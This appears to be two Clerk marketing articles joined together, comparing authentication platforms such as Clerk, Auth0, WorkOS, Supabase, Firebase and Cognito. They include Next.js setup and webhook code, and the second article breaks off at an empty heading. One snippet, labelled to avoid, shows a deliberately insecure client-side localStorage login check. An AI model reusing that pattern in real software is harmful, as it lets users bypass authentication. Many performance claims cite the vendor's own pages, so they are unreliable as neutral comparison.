**Clerk requires the least code** with 10-15 lines for basic setup, 3-5 configuration steps, and hours to 1-day implementation time. Dependencies include Node.js, React/Next.js, and `@clerk/nextjs` package. Clerk documentation demonstrates **40% faster implementation time versus Auth0** ([Clerk, 2024](/articles/clerk-vs-auth0-for-nextjs)).

**Auth0 requires significantly more setup** with 30-50 lines for basic configuration, 7-10 configuration steps, and several days to weeks for complex implementations. Dependencies include Node.js, @auth0/nextjs-auth0, and multiple configuration requirements. Developer feedback describes Auth0 as having a "heavy-handed" developer experience with significant configuration overhead ([WorkOS Blog, 2024](https://workos.com/blog/workos-vs-auth0-vs-clerk)).

**WorkOS AuthKit strikes a middle ground** with 15-20 lines for basic setup, 4-6 configuration steps, and 1-2 day implementation time. The hosted UI approach minimizes client-side integration complexity.

**Supabase offers the simplest setup** with 5-10 lines of code, 3-4 configuration steps, and 2-4 hour setup time. However, the community-maintained status introduces long-term maintenance concerns.

**Firebase requires moderate setup** with 10-15 lines of code, 5-7 configuration steps, and 4-8 hour implementation time but with minimal customization capabilities.

### Documentation quality impacts implementation success

**Tier 1 documentation (Excellent)** includes Clerk with framework-specific guides, interactive examples, migration guides, and production checklists. WorkOS provides clear quickstarts, enterprise feature documentation, and third-party integration guides.

**Tier 2 documentation (Good)** includes Auth0 with extensive but potentially confusing documentation where developers report "difficulty understanding which parts apply" to their use case ([Prismatic, 2024](https://prismatic.io/blog/whats-the-best-embedded-ipaas/)). Supabase offers good but limited-scope documentation with community maintenance.

**Tier 3 documentation (Adequate)** includes Firebase with basic documentation and outdated community solutions. AWS Amplify presents complex structure with a steep learning curve.

TypeScript support reaches full native implementation in Clerk (auto-included types with custom extensions), Auth0 (100% type-safe with module augmentation), WorkOS (TypeScript-first SDKs), Better Auth (TypeScript-first with auto-generated types), and SuperTokens (full TypeScript support). Supabase, Firebase, and Amplify provide partial TypeScript support with limited type inference.

### Performance benchmarks reveal significant differences

**Bundle size analysis shows ongoing improvements.** Clerk's Core 3 release (March 2026) reduced bundles by \~50KB gzipped through React sharing across SDKs. The Handshake session syncing system (introduced in Core 2) delivers 2x-5x faster execution and eliminated the "flash of white page" during authentication. Core 3 also introduced `ClerkOfflineError` for better offline handling and proactive background token refresh. Auth0 maintains a lighter client bundle with good tree-shaking. WorkOS provides minimal client-side bundle with hosted UI approach. Supabase and Firebase deliver small-to-medium bundles with reasonable tree-shaking support.

**[JWT](/glossary#json-web-token) validation speed varies significantly.** Clerk achieves sub-millisecond validation times. Auth0 experiences 5-10 second cold starts for new tenants in some scenarios ([Clerk, 2024](/articles/clerk-vs-auth0-for-nextjs)). Session token lifetime strategies differ substantially: Clerk uses 60-second tokens with automatic 50-second background refresh (more secure with minimal API overhead), while Auth0 uses 10-24 hour tokens (fewer calls but complex invalidation).

Rate limits become critical at scale. Clerk allows 1,000 requests per 10 seconds in production. Auth0 provides 100 RPS base with burst to 400 RPS. WorkOS offers enterprise-grade infrastructure without published specific limits.

Real-world reliability data shows Clerk experiencing 22-minute and 12-minute outages in August 2025. Auth0 documented a 2.52% error rate in Backend API during incidents. Supabase claims **4x faster reads versus Firebase** in benchmarking ([Clerk, 2024](/articles/authentication-tools-for-nextjs)).

### Real-world implementation case study: Novu migrates to Clerk

Novu, a notification infrastructure company, documented their migration to Clerk with one developer (Adam) and platform engineer (Denis) successfully deploying SAML SSO, OAuth (Google/GitHub), MFA, and RBAC. The team removed AuthController, UserController, and InvitesController code, added a Clerk user sync endpoint for MongoDB, and implemented an admin/editor role system.

Novu's engineering lead noted: "Just as we expect developers to offload notifications to our expertise, we offloaded user management to Clerk's expertise." Challenges included optimizing for Clerk's simple key:value pair approach rather than complex arrays, handling JWT updates for frequently changing properties, and managing MongoDB method differences. Results included successfully deployed enterprise features and freed engineering resources for core product development ([Novu, 2024](https://novu.co/blog/migrating-user-management-to-clerk-with-one-developer/)).

The implementation analysis reveals **Clerk and Supabase providing the fastest implementation times** measured in hours, while Auth0 requires days to weeks. Documentation quality and TypeScript support strongly correlate with implementation success. Performance trade-offs between bundle size and feature completeness require careful evaluation based on application requirements.

## Best practices for selecting and implementing embeddable UIs

### Decision framework for platform selection

**Choose Clerk when** building modern Next.js/React applications requiring rapid development (hours to days), needing pre-built UI components with comprehensive coverage, requiring organizations/multi-tenancy for B2B SaaS, having budget allowing $0.02/MRU after 50K included users on Pro, prioritizing developer experience and modern developer tooling, and valuing performance optimizations like sub-15ms Edge Runtime auth checks. Clerk best serves startups, SaaS products, and B2B applications. The "First Day Free" billing policy means users who sign up and don't return within 24 hours aren't counted.

**Choose Auth0 when** enterprise-grade compliance is mandatory (SOC 2, HIPAA, ISO, PCI), facing complex authentication requirements with multiple [identity providers](/glossary#identity-provider-sso-idp-sso), needing extensive provider support (SAML, OIDC, 20+ social providers), having dedicated authentication engineering resources, supporting premium pricing budgets, or requiring multi-framework/multi-platform support. Auth0 best serves large enterprises, regulated industries, and applications with complex authentication flows.

**Choose WorkOS when** building B2B SaaS targeting enterprise customers, needing SAML/SCIM/RBAC out-of-box, wanting predictable per-organization pricing (though note that enterprise features like SSO at $125/connection and Directory Sync at $125/connection add up quickly with multiple customers), preferring hosted UI solutions minimizing client bundle, leveraging free access up to 1M MAU for user management, or focusing exclusively on enterprise features. WorkOS best serves B2B SaaS companies targeting enterprise customers from day one, but requires careful cost modeling when multiple enterprise customers need SSO, Directory Sync, or Audit Logs.

**Choose Supabase when** already committed to Supabase for database infrastructure, needing quick simple authentication implementation for non-critical applications, operating with budget constraints (generous free tier attractive), having engineering resources dedicated to maintaining authentication components independently, having basic authentication requirements without advanced features, or explicitly accepting full maintenance responsibility. **Critical warning:** Community maintenance status since February 2024 means no official security patches, no guaranteed compatibility with future Supabase versions, and potential breaking changes without support. This represents a significant risk for mission-critical production applications where authentication reliability and security updates are essential. Supabase best serves side projects, MVPs, and Supabase-committed technology stacks where the team can commit to forking and maintaining authentication components long-term.

**Choose Firebase when** already invested in Google/Firebase ecosystem, building mobile-first applications, needing simple proven authentication solution, accepting minimal customization options, or wanting Google infrastructure reliability guarantees. Firebase best serves mobile applications, Google Cloud users, and applications with basic authentication needs.

### Implementation patterns for production deployments

**Progressive enhancement pattern** starts with hosted UI (WorkOS, Auth0) for rapid deployment, evolves to custom UI as requirements grow and customization needs increase, and maintains backward compatibility with existing authentication flows. This approach minimizes initial development while preserving customization options.

**Hybrid approach pattern** uses pre-built components for standard authentication flows (login, signup, password reset), builds custom UI for unique brand experiences and differentiated flows, and leverages SDK functions for programmatic control where needed. This balances development speed with customization requirements.

**Backend-first pattern** implements authentication logic in backend routes for security, minimizes client-side authentication code reducing attack surface, and improves overall security posture. This approach suits security-conscious organizations and applications handling sensitive data.

### Common pitfalls and proven solutions

**Pitfall: Auth0 redirect issues.** Problem: Universal Login forces redirects disrupting user experience. Solutions: Use embedded Auth0 Lock for in-app authentication, implement custom UI with Auth0 SDK for complete control, or accept redirects for improved security trade-off.

**Pitfall: Supabase maintenance concerns.** Problem: No longer maintained by core Supabase team since February 2024, creating substantial long-term risks including no official security patches for discovered vulnerabilities, potential incompatibilities with future Supabase Auth updates, community fixes without security review or testing, and no guaranteed bug fixes or feature support. For mission-critical applications, this shifts authentication security responsibility entirely to your engineering team, negating the primary benefit of using pre-built components. Solutions: Fork components internally accepting full maintenance burden (requires dedicated authentication engineering resources), migrate to Supabase UI Library blocks for officially supported components, or strongly consider alternative platforms (Clerk, Auth0, WorkOS) for production applications where authentication security cannot be compromised.

**Pitfall: Firebase customization limitations.** Problem: Minimal UI customization options restrict brand alignment. Solutions: Build custom UI using Firebase Auth SDK for complete control, accept Firebase UI appearance for rapid deployment, or select alternative platform prioritizing customization.

**Pitfall: WorkOS CORS configuration.** Problem: Client-side requests blocked by CORS policy. Solutions: Configure allowed origins in WorkOS dashboard, implement proper server-side authentication for sensitive operations, or use hosted UI eliminating client-side CORS issues.

### Security best practices for embeddable authentication

Implement **multi-factor authentication** universally for all users or at minimum for administrative accounts. Enable **breach detection** services like HaveIBeenPwned integration (included in Clerk, Auth0). Configure **rate limiting** on authentication endpoints preventing [brute force](/glossary#brute-force-detection) attacks. Use **secure session management** with short-lived tokens and proper invalidation. Implement **[audit logging](/glossary#audit-logs)** for authentication events enabling security monitoring and compliance. Enforce **strong password policies** meeting NIST guidelines. Enable **[bot detection](/glossary#bot-detection)** mechanisms protecting against automated attacks.

**WCAG 2.2 Level AA compliance** requires accessible authentication meeting new standards. Success criterion 3.3.8 (Accessible Authentication - Minimum) prohibits cognitive function tests unless alternatives exist or assistance mechanisms are provided. Password managers must be supported through copy/paste functionality and autocomplete attributes. Show/hide toggles reduce cognitive load. Alternative authentication methods (biometric, device-based, OAuth/SSO, [WebAuthn](/glossary#webauthn)) improve accessibility. Pre-built authentication components from reputable vendors typically include tested WCAG compliance, automatic accessibility improvements through updates, and multiple authentication methods out-of-box ([W3C, 2023](https://www.w3.org/WAI/WCAG22/Understanding/accessible-authentication-minimum.html)).

## Future trends in embeddable user management UIs

### Passwordless authentication becomes standard

[Passkey](/glossary#passkeys) adoption accelerates with **Clerk supporting up to 10 passkeys per account**, Auth0 providing WebAuthn support, and WorkOS implementing passkey authentication. The FIDO Alliance and W3C WebAuthn standard enable biometric authentication (fingerprint, facial recognition), security key support (YubiKey, [hardware tokens](/glossary#hardware-keys)), and platform authenticators (Touch ID, Face ID, Windows Hello). Passwordless authentication eliminates password-related vulnerabilities, improves user experience with faster login, and reduces support burden from password reset requests.

### AI-powered fraud detection and risk scoring

Advanced platforms implement device fingerprinting (99.99% bot detection accuracy in Stytch), behavioral biometrics analyzing user interaction patterns, impossible travel detection flagging suspicious location changes, and risk-based authentication adjusting requirements based on calculated risk scores. Machine learning models continuously improve detection accuracy while reducing false positives impacting legitimate users.

### Enhanced organization and multi-tenancy features

B2B SaaS platforms increasingly require sophisticated organization management beyond basic authentication. **Clerk and WorkOS lead in first-class organization support** with hierarchical role systems (Owner > Admin > Member > Custom roles), self-service organization creation and management, invitation workflows with email verification, domain verification for automatic organization membership, [SCIM](/glossary#directory-sync) for automated provisioning from identity providers, and usage-based billing tied to organizations. These features eliminate months of custom development for B2B applications.

### Embedded identity verification and compliance

Regulatory requirements drive demand for identity verification integration within authentication flows. Emerging features include government ID verification (passport, driver's license scanning), liveness detection preventing photo attacks, age verification for compliance with regulations, sanctions screening for financial services, and KYC/AML compliance for fintech applications. Pre-built components handling verification workflows significantly reduce compliance implementation complexity.

### Decentralized identity and blockchain integration

Web3 applications drive demand for blockchain-native authentication. **Magic leads specialized Web3 authentication** with non-custodial wallet creation, blockchain multi-chain support (Ethereum, Polygon, Base, Arbitrum, Optimism), decentralized identifiers (DIDs), verifiable credentials, and NFT-gated access control. Traditional authentication providers increasingly add Web3 capabilities meeting hybrid application requirements.

### No-code authentication flow builders

**Descope's visual flow builder** represents emerging trend toward no-code authentication customization. Features include drag-and-drop UI screen creation, 100+ pre-built flow templates, conditional logic and branching based on user attributes, A/B testing for authentication flows, and real-time flow updates without code deployment. No-code approaches democratize authentication customization enabling product managers and designers to iterate rapidly without engineering bottlenecks.

## Conclusion: The case for embeddable user management UIs in 2026

The research conclusively demonstrates that **embeddable authentication components deliver measurably superior outcomes across development speed, security, cost, and developer experience** compared to custom implementations. Organizations achieve 25-30% faster time-to-market with pre-built solutions. Documented cases show 80% reduction in development and maintenance burden. Professional security teams provide defense against OWASP Top 10 vulnerabilities affecting custom implementations. Built-in WCAG 2.2 accessibility compliance eliminates remediation costs. Lower total cost of ownership emerges when accounting for full lifecycle costs including maintenance, security incidents, and opportunity cost.

**Platform selection depends critically on specific requirements.** Clerk emerges as the developer-first choice for modern React/Next.js applications, offering the most comprehensive embeddable component library including organizations, user profiles, billing, and advanced customization. Setup completes in hours with 10-15 lines of code. The $0.02/MRU pricing above 50,000 included users (on Pro) provides predictable scaling, with the Pro plan starting at $20/month (annual) or $25/month and Business at $250/month (annual) or $300/month with SOC 2 report and priority support. Core 3 brings \~50KB smaller bundles, automatic light/dark theme detection, the unified `<Show>` component, and improved offline handling with `ClerkOfflineError`.

Auth0 maintains enterprise market leadership through extensive compliance certifications (SOC 2, HIPAA, ISO, PCI), mature platform stability (8+ years), and comprehensive provider support (SAML, OIDC, 20+ social providers). Enterprise organizations requiring complex authentication flows and regulatory compliance justify Auth0's premium pricing. However, 300% price increases in 2023 and "heavy-handed" developer experience create friction for modern development teams.

WorkOS presents compelling value for B2B SaaS applications with **free access up to 1 million MAUs**, first-class organization support, and enterprise features (SAML, SCIM, RBAC) included from day one. The hosted UI approach minimizes client bundle size. Predictable per-organization pricing suits B2B business models better than per-user pricing.

Supabase offers the most budget-friendly option with generous free tier (50,000 MAU) and lowest per-user costs ($0.00325/MAU on Pro plan). However, **community maintenance status since February 2024 represents a critical risk for production applications**: no official security patches, no compatibility guarantees, and full maintenance burden shifting to your team. This fundamentally undermines the value proposition of pre-built authentication components. Supabase Auth UI should be restricted to side projects, MVPs, or non-critical applications where your team has dedicated resources to maintain forked authentication components indefinitely. For mission-critical production applications, the maintenance burden and security risks make Supabase Auth UI inadvisable despite attractive pricing.

Firebase excels for mobile-first applications and teams invested in Google Cloud infrastructure. Generous free tier (50,000 MAU) and completely free UI components provide excellent value. However, minimal customization options ("squarish buttons set in stone") and Google ecosystem lock-in limit flexibility.

**Strategic recommendation:** Modern web applications in 2026 should default to embeddable authentication components rather than custom development. Reserve custom implementation only for truly unique requirements that cannot be met through vendor solutions or for organizations with dedicated security teams and substantial authentication budgets. The 30% time-to-market improvement and 80% maintenance reduction documented by organizations adopting pre-built solutions directly translate to competitive advantage and engineering efficiency.

**For most teams in 2026, Clerk represents the optimal balance** of comprehensive components, developer experience, framework support, and reasonable pricing. Enterprise organizations prioritizing compliance over developer experience should evaluate Auth0 or WorkOS. Budget-conscious projects with basic requirements can leverage Supabase or Firebase. The embeddable authentication market has matured to the point where **custom authentication development represents technical debt from day one** rather than strategic differentiation.

The future favors platforms investing in passwordless authentication, AI-powered fraud detection, sophisticated organization management, and no-code customization. Organizations selecting authentication platforms should evaluate not just current capabilities but vendor roadmaps for emerging requirements. As Guillermo Rauch noted, "The best practices built-in to their components would take months to implement in-house, yet no sacrifice is made in terms of Enterprise extensibility or customization to your brand", precisely capturing the value proposition of modern embeddable user management UIs.

## Frequently asked questions

## Statistics source table

| Statistic                                                             | Source                                                                                                                                                         | Location on page / Calculation method                                                        |
| --------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- |
| 80% reduction in implementation time                                  | [Auth0, 2025](https://auth0.com/)                                                                                                                              | Auth0 homepage / customer case study reference                                               |
| 30% faster time-to-market                                             | [Full Scale, 2025](https://fullscale.io/blog/build-vs-buy-software-development-decision-guide/)                                                                | Build vs Buy guide / cited as outcome of structured evaluation frameworks                    |
| 62% of developers cite technical debt as primary frustration          | [Stack Overflow, 2025](https://stackoverflow.blog/2025/01/01/developers-want-more-more-more-the-2024-results-from-stack-overflow-s-annual-developer-survey/)   | 2024 Developer Survey results / survey response data                                         |
| 200% underestimation of authentication complexity                     | [Stytch, 2024](https://stytch.com/blog/build-vs-buy/)                                                                                                          | Build vs Buy blog post / cited as average across organizations                               |
| 20-30% reduction in customer-reported defects                         | [McKinsey, 2024](https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/yes-you-can-measure-software-developer-productivity) | Developer productivity research / measured outcome for organizations implementing frameworks |
| 60-percentage-point improvement in customer satisfaction              | [McKinsey, 2024](https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/yes-you-can-measure-software-developer-productivity) | Developer productivity research / measured outcome alongside defect reduction                |
| 40-80 hours/month maintenance for custom auth                         | [Netguru, 2025](https://www.netguru.com/blog/build-vs-buy-software)                                                                                            | Build vs Buy blog / estimate for heavily-used applications                                   |
| 22-25% annual support cost as percentage of initial development       | [Provato Group, 2025](https://www.theprovatogroup.com/applications/cost-of-custom-software/)                                                                   | Cost of Custom Software article / industry average cited                                     |
| $200,000+ cost gap between free and commercial solutions over 3 years | [FusionAuth, 2025](https://fusionauth.io/buildvsbuy)                                                                                                           | Build vs Buy analysis / calculated including engineering time and feature gaps               |
| 25% faster load times migrating from iFrames to Shadow DOM            | [BBC, 2023](https://medium.com/bbc-product-technology/goodbye-iframes-6c84a651e137)                                                                            | BBC Visual Journalism team migration case study                                              |
| 11% faster time to first meaningful paint vs iFrames                  | [BBC, 2023](https://medium.com/bbc-product-technology/goodbye-iframes-6c84a651e137)                                                                            | BBC Visual Journalism team benchmarks                                                        |
| 20+ million weekly React NPM downloads                                | [Hypersense Software, 2024](https://hypersense-software.com/blog/2024/11/05/react-development-statistics-market-analysis/)                                     | React Development Statistics article / NPM download data                                     |
| 80% reduction in IAM development and maintenance (Auth0 customer)     | [Auth0, 2025](https://auth0.com/)                                                                                                                              | Auth0 homepage / customer testimonial                                                        |
| 52% of software projects run longer than planned                      | [Stytch, 2024](https://stytch.com/blog/build-vs-buy/)                                                                                                          | Build vs Buy blog / Forrester research citation                                              |
| 27% average project overrun                                           | [Stytch, 2024](https://stytch.com/blog/build-vs-buy/)                                                                                                          | Build vs Buy blog / Forrester research citation                                              |
| 1-in-6 projects exceed estimates by 200%                              | [Stytch, 2024](https://stytch.com/blog/build-vs-buy/)                                                                                                          | Build vs Buy blog / Forrester research citation                                              |
| Auth0 300% price increase for B2C Essentials                          | [Auth0 Pricing Analysis, 2024](https://blog.logto.io/auth0-pricing-explain)                                                                                    | Logto pricing analysis blog / comparison of pricing changes                                  |
| 40% faster implementation time Clerk vs Auth0                         | [Clerk, 2024](/articles/clerk-vs-auth0-for-nextjs)                                                                                                             | Clerk vs Auth0 comparison article / setup time comparison                                    |
| 2x-5x faster authentication via Handshake                             | [Clerk Core 2, 2024](/changelog/2024-02-29-core-2)                                                                                                             | Core 2 changelog / benchmark comparison with previous version                                |
| \~50KB gzipped bundle reduction in Core 3                             | [Clerk Core 3, 2026](/changelog/2026-03-03-core-3)                                                                                                             | Core 3 changelog / React sharing across SDKs                                                 |
| Sub-15ms Edge Runtime auth checks                                     | [Clerk Documentation](/docs/quickstarts/nextjs)                                                                                                                | Next.js documentation / Edge Runtime performance characteristic                              |
| 60-second session token TTL, 50-second refresh                        | [Clerk How Clerk Works](/docs/guides/how-clerk-works/overview)                                                                                                 | How Clerk Works / session token lifecycle documentation                                      |
| Clerk 1,000 requests per 10 seconds rate limit                        | [Clerk Documentation](/docs/quickstarts/nextjs)                                                                                                                | Clerk production configuration / rate limit documentation                                    |
| Auth0 100 RPS base / 400 RPS burst                                    | [Clerk, 2024](/articles/clerk-vs-auth0-for-nextjs)                                                                                                             | Clerk vs Auth0 comparison / Auth0 rate limit documentation                                   |
| Clerk 22-minute and 12-minute outages August 2025                     | [Clerk, 2024](/articles/authentication-tools-for-nextjs)                                                                                                       | Authentication tools comparison / status page data                                           |
| 4x faster reads Supabase vs Firebase                                  | [Clerk, 2024](/articles/authentication-tools-for-nextjs)                                                                                                       | Authentication tools comparison / Supabase benchmarking claim                                |
| 99.99% bot detection accuracy (Stytch)                                | [Stytch, 2024](https://stytch.com/blog/stytch-admin-portal/)                                                                                                   | Stytch Admin Portal blog / device fingerprinting accuracy                                    |
| 40+ languages supported (Firebase)                                    | [Firebase Documentation, 2025](https://firebase.google.com/docs/auth/web/firebaseui)                                                                           | FirebaseUI documentation / localization support                                              |

---

# Best User Management APIs for Developers
URL: https://clerk.com/articles/best-user-management-apis-for-developers.md
Date: 2026-03-27
Description: Compare the best user management APIs for developers in 2025. In-depth analysis of Clerk, Auth0, Firebase, and Cognito for React and Next.js applications.

The best user management APIs for developers are Clerk, Auth0, Firebase Auth, and AWS Cognito. Clerk stands out for React and Next.js projects with its RESTful API design, pre-built UI components, and fastest integration time. Auth0 excels in enterprise environments with extensive compliance certifications, while Firebase Auth integrates well with Google's ecosystem and Cognito suits teams already invested in AWS. With [passwordless authentication](/glossary#passwordless-login) projected to grow from $21.07 billion in 2024 to $55.70 billion by 2030 ([Grand View Research, 2024](https://www.grandviewresearch.com/industry-analysis/passwordless-authentication-market-report)) and 83% of organizations now mandating [multi-factor authentication](/glossary#multi-factor-authentication-mfa) ([JumpCloud IT Trends Report, 2024](https://jumpcloud.com/blog/multi-factor-authentication-statistics)), API flexibility and developer experience have become critical evaluation criteria.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

**Executive Summary**

| Key Finding                                                                                | Impact                                                       | Solution Approach                                                                                               |
| ------------------------------------------------------------------------------------------ | ------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------- |
| 43% of developers cite API integration as most time-consuming development task             | Setup delays can extend projects by weeks or months          | Choose platforms with framework-specific SDKs and comprehensive documentation to reduce integration time by 70% |
| 83% of organizations now require MFA; 99.9% of compromised accounts lack it                | Authentication security critical for production applications | Select platforms with built-in MFA (SMS, TOTP, WebAuthn) and adaptive authentication capabilities               |
| Developer productivity improves 67% with well-designed APIs                                | Poor API design directly impacts time-to-market              | Prioritize platforms with RESTful design, clear error handling, and rate limiting transparency                  |
| 75% of developers more likely to endorse technology with API access                        | API flexibility determines long-term scalability             | Evaluate platforms on webhook support, custom authentication flows, and extensibility options                   |
| React/Next.js authentication setup ranges from 30 minutes to 2 weeks depending on platform | Framework-native integration reduces cognitive load          | Choose platforms offering React-specific components, hooks, and middleware for optimal DX                       |

## The State of User Management APIs in 2025

The gap between authentication requirements and implementation ease has created a thriving ecosystem of specialized user management platforms. For React and Next.js developers especially, choosing the right authentication API can mean the difference between shipping in days versus weeks.

The authentication landscape has evolved dramatically. With 76% of developers now using or planning to use AI tools ([Stack Overflow Developer Survey, 2024](https://survey.stackoverflow.co/2024/)), the expectation for developer experience has never been higher. Developers want authentication APIs that "just work" while maintaining enterprise-grade security. This guide evaluates the leading user management APIs—Clerk, Auth0, Firebase Auth, and AWS Cognito—through the lens of API flexibility, developer experience, and production readiness.

The passwordless authentication market alone is projected to grow from USD 21.07 billion in 2024 to USD 55.70 billion by 2030 ([Grand View Research, 2024](https://www.grandviewresearch.com/industry-analysis/passwordless-authentication-market-report)), signaling a fundamental shift in how applications handle identity. Meanwhile, 83% of organizations now mandate multi-factor authentication ([JumpCloud IT Trends Report, 2024](https://jumpcloud.com/blog/multi-factor-authentication-statistics)), making MFA API capabilities non-negotiable for production applications.

## Core API Capabilities Developers Need

### REST API Architecture and Design Quality

The foundation of any user management platform lies in its REST API design. Following established best practices from Microsoft and Google's API design guidelines ([Microsoft API Guidelines](https://learn.microsoft.com/en-us/azure/architecture/best-practices/api-design), [Google Cloud API Design](https://cloud.google.com/apis/design)), robust authentication APIs should implement resource-oriented design with proper HTTP methods and status codes.

**Clerk's API architecture** provides both Frontend and Backend APIs following form-based patterns with JSON payloads ([Clerk API Documentation](/docs/reference/api/overview)). The Backend API handles server-side operations at 1,000 requests per 10 seconds for production instances, while the Frontend API implements intelligent rate limiting with 5 requests per 10 seconds for sign-up creation and 3 requests per 10 seconds for authentication attempts ([Clerk Rate Limits](/docs/backend-requests/resources/rate-limits)).

**Auth0's Management API v2** takes a comprehensive approach with dedicated endpoints for users, organizations, sessions, and OAuth applications ([Auth0 API Reference](https://auth0.com/docs/api/management/v2)). However, Auth0's rate limits are more restrictive: free tier users get only 2 requests per second on the Management API, while paid tiers receive 15 requests per second with burst capability up to 50 requests ([Auth0 Rate Limits](https://auth0.com/docs/troubleshoot/customer-support/operational-policies/rate-limit-policy)).

**Firebase Authentication** offers a simplified client-side API optimized for mobile and web applications, though it lacks native GraphQL support ([Firebase Auth Documentation](https://firebase.google.com/docs/auth)). The platform uses quota-based rate limiting that scales with user count rather than fixed requests-per-second limits, with account creation limited to 100 accounts per hour per IP address ([Firebase Auth Limits](https://firebase.google.com/docs/auth/limits)).

**AWS Cognito** provides extensive APIs through both user pools and identity pools, but complexity increases significantly. The platform defaults to 120 requests per second for UserAuthentication operations, with purchasable quota increases available at $20 per 1 RPS increment ([AWS Cognito Quotas](https://docs.aws.amazon.com/cognito/latest/developerguide/quotas.html)).

### SDK Quality and Framework Support

SDK quality directly impacts developer productivity. According to Auth0's SDK design principles, truly optimal developer experience requires building SDKs independently for each framework rather than one-size-fits-all approaches ([Auth0 SDK Guidelines](https://auth0.com/blog/guiding-principles-for-building-sdks/)).

Clerk exemplifies this philosophy with framework-specific SDKs for Next.js, React, Remix, and 15+ other platforms ([Clerk SDK Documentation](/docs/reference/overview)). The Next.js integration showcases this approach with `clerkMiddleware()` for authentication state management and native support for both [App Router](/glossary#app-router) and [Pages Router](/glossary#pages-router) architectures ([Clerk Next.js Quickstart](/docs/quickstarts/nextjs)). Setup genuinely takes minutes:

**Step 1: Install the Clerk Next.js SDK**

```bash
npm install @clerk/nextjs
```

**Step 2: Configure the proxy file**

In Next.js 16, Clerk's middleware runs from `proxy.ts` (replacing the previous `middleware.ts` convention). Create this file in your project root or `src/` directory:

```typescript
// proxy.ts
import { clerkMiddleware } from '@clerk/nextjs/server'

export default clerkMiddleware()

export const config = {
  matcher: [
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    '/(api|trpc)(.*)',
  ],
}
```

**Step 3: Wrap your app with ClerkProvider**

```typescript
// app/layout.tsx
import { ClerkProvider, Show, SignInButton, SignUpButton, UserButton } from '@clerk/nextjs'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <ClerkProvider>
      <html lang="en">
        <body>
          <header>
            <Show when="signed-out">
              <SignInButton />
              <SignUpButton />
            </Show>
            <Show when="signed-in">
              <UserButton />
            </Show>
          </header>
          {children}
        </body>
      </html>
    </ClerkProvider>
  )
}
```

**Step 4: Add server-side authentication**

```typescript
// app/dashboard/page.tsx
import { auth } from '@clerk/nextjs/server'
import { redirect } from 'next/navigation'

export default async function DashboardPage() {
  const { userId } = await auth()

  if (!userId) return redirect('/sign-in')

  return <div>Protected Dashboard Content</div>
}
```

This pattern contrasts sharply with traditional authentication implementations. Compare this to a problematic approach without proper [session management](/glossary#session-management):

```typescript
// Vulnerable Pattern - Avoid This
'use client'
import { useEffect, useState } from 'react'

export default function DashboardPage() {
  const [user, setUser] = useState(null)

  useEffect(() => {
    // Client-side only check - vulnerable to tampering
    const userJson = localStorage.getItem('user')
    if (userJson) {
      setUser(JSON.parse(userJson))
    }
  }, [])

  // No server-side verification, no token validation
  if (!user) return <div>Please log in</div>

  return <div>Welcome {user.name}</div>
}
```

Auth0's React SDK provides `useAuth0()` hook with methods like `loginWithRedirect()`, `getAccessTokenSilently()`, and automatic token renewal ([Auth0 React SDK](https://auth0.com/docs/libraries/auth0-react)). However, setup requires more configuration steps including Auth0Provider wrapper with domain and clientId props, manual redirect URI configuration, and explicit authentication parameter handling.

Firebase Authentication for React relies on modular imports from the Firebase SDK with functions like `signInWithEmailAndPassword()` and `onAuthStateChanged()` ([Firebase Web Setup](https://firebase.google.com/docs/auth/web/start)). While simple for basic use cases, the React integration requires manual state management and lacks official React 18 support—developers currently rely on GitHub issue workarounds ([Developer Community Feedback](https://stackoverflow.com/questions/tagged/firebase-authentication)).

AWS Cognito through AWS Amplify provides authentication methods like `signUp()`, `signIn()`, and `getCurrentUser()`, but the configuration complexity increases significantly with identity pools, user pools, and OAuth scopes requiring careful coordination ([AWS Cognito Documentation](https://docs.aws.amazon.com/cognito/latest/developerguide/)).

### Webhook Support and Extensibility

Webhooks enable event-driven architectures essential for synchronizing authentication state across systems. Following webhook design best practices ([Webhooks Best Practices](https://medium.com/prospa-technology/webhooks-done-right-676d4e74578a)), robust platforms should implement signature verification, automatic retries, and replay capabilities.

Clerk's webhook system, powered by Svix, provides comprehensive event-driven functionality with automatic retries, manual replay capabilities, and HMAC signature verification ([Clerk Webhooks](/docs/webhooks/overview)). Supported events include `user.created`, `user.updated`, `user.deleted`, plus organization and session events. Implementation uses Clerk's built-in webhook verification:

```typescript
// Clerk Webhook Verification - Simple and Secure
import { verifyWebhook } from '@clerk/nextjs/webhooks'
import { NextRequest } from 'next/server'

export async function POST(req: NextRequest) {
  try {
    // Verifies webhook authenticity using CLERK_WEBHOOK_SIGNING_SECRET env var
    const evt = await verifyWebhook(req)

    // Access verified event data
    const { type, data } = evt

    if (type === 'user.created') {
      const { id, email_addresses } = data
      // Sync to database with verified event data
      await db.users.create({
        clerkId: id,
        email: email_addresses[0].email_address,
      })
    }

    return new Response('Webhook processed', { status: 200 })
  } catch (err) {
    console.error('Webhook verification failed:', err)
    return new Response('Webhook verification failed', { status: 400 })
  }
}
```

Auth0's Actions platform provides extensibility at 12+ trigger points including pre-login, post-login, pre-registration, and token generation ([Auth0 Actions](https://auth0.com/docs/customize/actions/actions-overview)). Actions execute Node.js functions with access to public npm packages and rich type information. However, Actions have a 5-second timeout and 250 concurrent request limits on public cloud deployments.

AWS Cognito offers Lambda triggers for customization at multiple lifecycle points including pre-sign-up, post-confirmation, pre-authentication, and pre-token generation ([AWS Cognito Lambda Triggers](https://docs.aws.amazon.com/cognito/latest/developerguide/cognito-user-pools-working-with-lambda-triggers.html)). This provides extensive flexibility but requires managing Lambda functions, IAM policies, and cross-service configurations.

Firebase Authentication provides Cloud Functions for `onCreate` and `onDelete` events, plus blocking functions for `beforeCreate` and `beforeSignIn` with the Identity Platform upgrade ([Firebase Auth](https://firebase.google.com/docs/auth)). The asynchronous nature limits real-time authentication flow modifications compared to synchronous triggers in Cognito.

### Authentication Flow Flexibility

